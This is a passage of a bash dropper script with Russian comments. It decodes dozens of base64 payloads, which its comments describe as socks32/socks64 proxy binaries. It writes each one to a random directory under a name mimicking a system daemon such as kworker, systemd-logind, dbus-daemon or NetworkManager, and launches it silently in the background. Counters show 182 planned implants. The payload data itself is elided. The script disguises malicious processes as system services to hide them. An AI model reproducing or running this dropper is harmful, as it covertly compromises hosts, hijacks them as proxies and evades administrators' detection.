        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-930"
        failed=$((failed + 1))
    fi
    

    # Файл 32: socks32 (14) -> dbus-daemon-840
    echo "🔧 [32/182] Deploying dbus-daemon-840"
    
    # Собираем данные из частей
    FILE_DATA_31="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-840"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_31" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-840 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-840 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-840"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-840"
        failed=$((failed + 1))
    fi
    

    # Файл 33: socks64 (13) -> systemd-logind-800
    echo "🔧 [33/182] Deploying systemd-logind-800"
    
    # Собираем данные из частей
    FILE_DATA_32="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-800"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_32" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-800 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-800 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-800"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-800"
        failed=$((failed + 1))
    fi
    

    # Файл 34: socks32 (13) -> systemd-networkd-440
    echo "🔧 [34/182] Deploying systemd-networkd-440"
    
    # Собираем данные из частей
    FILE_DATA_33="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-440"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_33" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-440 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-440 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-440"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-440"
        failed=$((failed + 1))
    fi
    

    # Файл 35: socks64 (12) -> kworker-558
    echo "🔧 [35/182] Deploying kworker-558"
    
    # Собираем данные из частей
    FILE_DATA_34="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-558"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_34" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-558 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-558 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-558"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-558"
        failed=$((failed + 1))
    fi
    

    # Файл 36: socks32 (12) -> kworker-244
    echo "🔧 [36/182] Deploying kworker-244"
    
    # Собираем данные из частей
    FILE_DATA_35="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-244"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_35" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-244 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-244 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-244"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-244"
        failed=$((failed + 1))
    fi
    

    # Файл 37: socks64 (11) -> rcu_gp-819
    echo "🔧 [37/182] Deploying rcu_gp-819"
    
    # Собираем данные из частей
    FILE_DATA_36="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-819"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_36" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-819 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-819 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-819"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-819"
        failed=$((failed + 1))
    fi
    

    # Файл 38: socks32 (11) -> NetworkManager-339
    echo "🔧 [38/182] Deploying NetworkManager-339"
    
    # Собираем данные из частей
    FILE_DATA_37="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-339"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_37" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-339 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-339 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-339"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-339"
        failed=$((failed + 1))
    fi
    

    # Файл 39: socks64 (10) -> chronyd-552
    echo "🔧 [39/182] Deploying chronyd-552"
    
    # Собираем данные из частей
    FILE_DATA_38="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-552"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_38" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-552 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-552 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-552"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-552"
        failed=$((failed + 1))
    fi
    

    # Файл 40: socks32 (10) -> rsyslog-979
    echo "🔧 [40/182] Deploying rsyslog-979"
    
    # Собираем данные из частей
    FILE_DATA_39="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-979"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_39" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-979 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-979 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-979"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-979"
        failed=$((failed + 1))
    fi
    

    # Файл 41: socks64 (9) -> NetworkManager-289
    echo "🔧 [41/182] Deploying NetworkManager-289"
    
    # Собираем данные из частей
    FILE_DATA_40="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-289"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_40" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-289 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-289 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-289"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-289"
        failed=$((failed + 1))
    fi
    

    # Файл 42: socks32 (9) -> dbus-daemon-348
    echo "🔧 [42/182] Deploying dbus-daemon-348"
    
    # Собираем данные из частей
    FILE_DATA_41="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-348"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_41" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-348 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-348 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-348"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-348"
        failed=$((failed + 1))
    fi
    

    # Файл 43: socks64 (8) -> systemd-resolved-701
    echo "🔧 [43/182] Deploying systemd-resolved-701"
    
    # Собираем данные из частей
    FILE_DATA_42="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-701"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_42" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-701 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-701 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-701"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-701"
        failed=$((failed + 1))
    fi
    

    # Файл 44: socks32 (8) -> NetworkManager-623
    echo "🔧 [44/182] Deploying NetworkManager-623"
    
    # Собираем данные из частей
    FILE_DATA_43="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-623"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_43" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-623 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-623 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-623"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-623"
        failed=$((failed + 1))
    fi
    

    # Файл 45: socks64 (7) -> ksoftirqd-372
    echo "🔧 [45/182] Deploying ksoftirqd-372"
    
    # Собираем данные из частей
    FILE_DATA_44="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-372"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_44" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-372 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-372 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-372"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-372"
        failed=$((failed + 1))
    fi
    

    # Файл 46: socks32 (7) -> rsyslog-317
    echo "🔧 [46/182] Deploying rsyslog-317"
    
    # Собираем данные из частей
    FILE_DATA_45="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-317"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_45" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-317 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-317 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-317"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-317"
        failed=$((failed + 1))
    fi
    

    # Файл 47: socks64 (6) -> NetworkManager-389
    echo "🔧 [47/182] Deploying NetworkManager-389"
    
    # Собираем данные из частей
    FILE_DATA_46="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-389"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_46" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-389 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-389 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-389"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-389"
        failed=$((failed + 1))
    fi
    

    # Файл 48: socks32 (6) -> rsyslog-296
    echo "🔧 [48/182] Deploying rsyslog-296"
    
    # Собираем данные из частей
    FILE_DATA_47="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-296"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_47" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-296 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-296 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-296"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-296"
        failed=$((failed + 1))
    fi
    

    # Файл 49: socks64 (5) -> dbus-daemon-903
    echo "🔧 [49/182] Deploying dbus-daemon-903"
    
    # Собираем данные из частей
    FILE_DATA_48="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-903"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_48" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-903 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-903 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-903"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-903"
        failed=$((failed + 1))
    fi
    

    # Файл 50: socks32 (5) -> systemd-logind-954
    echo "🔧 [50/182] Deploying systemd-logind-954"
    
    # Собираем данные из частей
    FILE_DATA_49="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-954"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_49" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-954 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-954 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-954"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-954"
        failed=$((failed + 1))
    fi
    

    # Файл 51: socks64 (4) -> systemd-resolved-959
    echo "🔧 [51/182] Deploying systemd-resolved-959"
    
    # Собираем данные из частей
    FILE_DATA_50="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-959"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_50" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-959 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-959 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-959"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-959"
        failed=$((failed + 1))
    fi
    

    # Файл 52: socks32 (4) -> NetworkManager-651
    echo "🔧 [52/182] Deploying NetworkManager-651"
    
    # Собираем данные из частей
    FILE_DATA_51="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-651"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_51" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-651 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-651 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-651"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-651"
        failed=$((failed + 1))
    fi
    

    # Файл 53: socks64 (3) -> systemd-resolved-195
    echo "🔧 [53/182] Deploying systemd-resolved-195"
    
    # Собираем данные из частей
    FILE_DATA_52="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-195"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_52" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-195 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-195 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-195"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-195"
        failed=$((failed + 1))
    fi
    

    # Файл 54: socks32 (3) -> watchdog-713
    echo "🔧 [54/182] Deploying watchdog-713"
    
    # Собираем данные из частей
    FILE_DATA_53="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-713"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_53" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-713 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-713 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-713"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-713"
        failed=$((failed + 1))
    fi
    

    # Файл 55: socks64 (2) -> chronyd-874
    echo "🔧 [55/182] Deploying chronyd-874"
    
    # Собираем данные из частей
    FILE_DATA_54="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-874"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_54" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-874 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-874 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-874"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-874"
        failed=$((failed + 1))
    fi
    

    # Файл 56: socks32 (2) -> migration-496
    echo "🔧 [56/182] Deploying migration-496"
    
    # Собираем данные из частей
    FILE_DATA_55="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-496"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_55" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-496 >/dev/null 2>&1 & then
            echo "✅ Started: migration-496 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-496"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-496"
        failed=$((failed + 1))
    fi
    

    # Файл 57: socks64 (1) -> kworker-496
    echo "🔧 [57/182] Deploying kworker-496"
    
    # Собираем данные из частей
    FILE_DATA_56="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-496"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_56" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-496 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-496 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-496"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-496"
        failed=$((failed + 1))
    fi
    

    # Файл 58: socks32 (1) -> systemd-logind-618
    echo "🔧 [58/182] Deploying systemd-logind-618"
    
    # Собираем данные из частей
    FILE_DATA_57="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-618"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_57" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-618 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-618 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-618"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-618"
        failed=$((failed + 1))
    fi
    

    # Файл 59: socks64 -> systemd-resolved-314
    echo "🔧 [59/182] Deploying systemd-resolved-314"
    
    # Собираем данные из частей
    FILE_DATA_58="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-314"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_58" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-314 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-314 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-314"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-314"
        failed=$((failed + 1))
    fi
    

    # Файл 60: socks32 -> dbus-daemon-701
    echo "🔧 [60/182] Deploying dbus-daemon-701"
    
    # Собираем данные из частей
    FILE_DATA_59="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-701"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_59" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-701 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-701 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-701"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-701"
        failed=$((failed + 1))
    fi
    

    # Файл 61: 185.93.89 -> dbus-daemon-567
    echo "🔧 [61/182] Deploying dbus-daemon-567"
    
    # Собираем данные из частей
    FILE_DATA_60="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-567"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_60" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-567 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-567 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-567"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-567"
        failed=$((failed + 1))
    fi
    

    # Файл 62: 185.93 (1).89 -> kworker-802
    echo "🔧 [62/182] Deploying kworker-802"
    
    # Собираем данные из частей
    FILE_DATA_61="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-802"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_61" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-802 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-802 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-802"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-802"
        failed=$((failed + 1))
    fi
    

    # Файл 63: 185.93 (2).89 -> kworker-578
    echo "🔧 [63/182] Deploying kworker-578"
    
    # Собираем данные из частей
    FILE_DATA_62="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
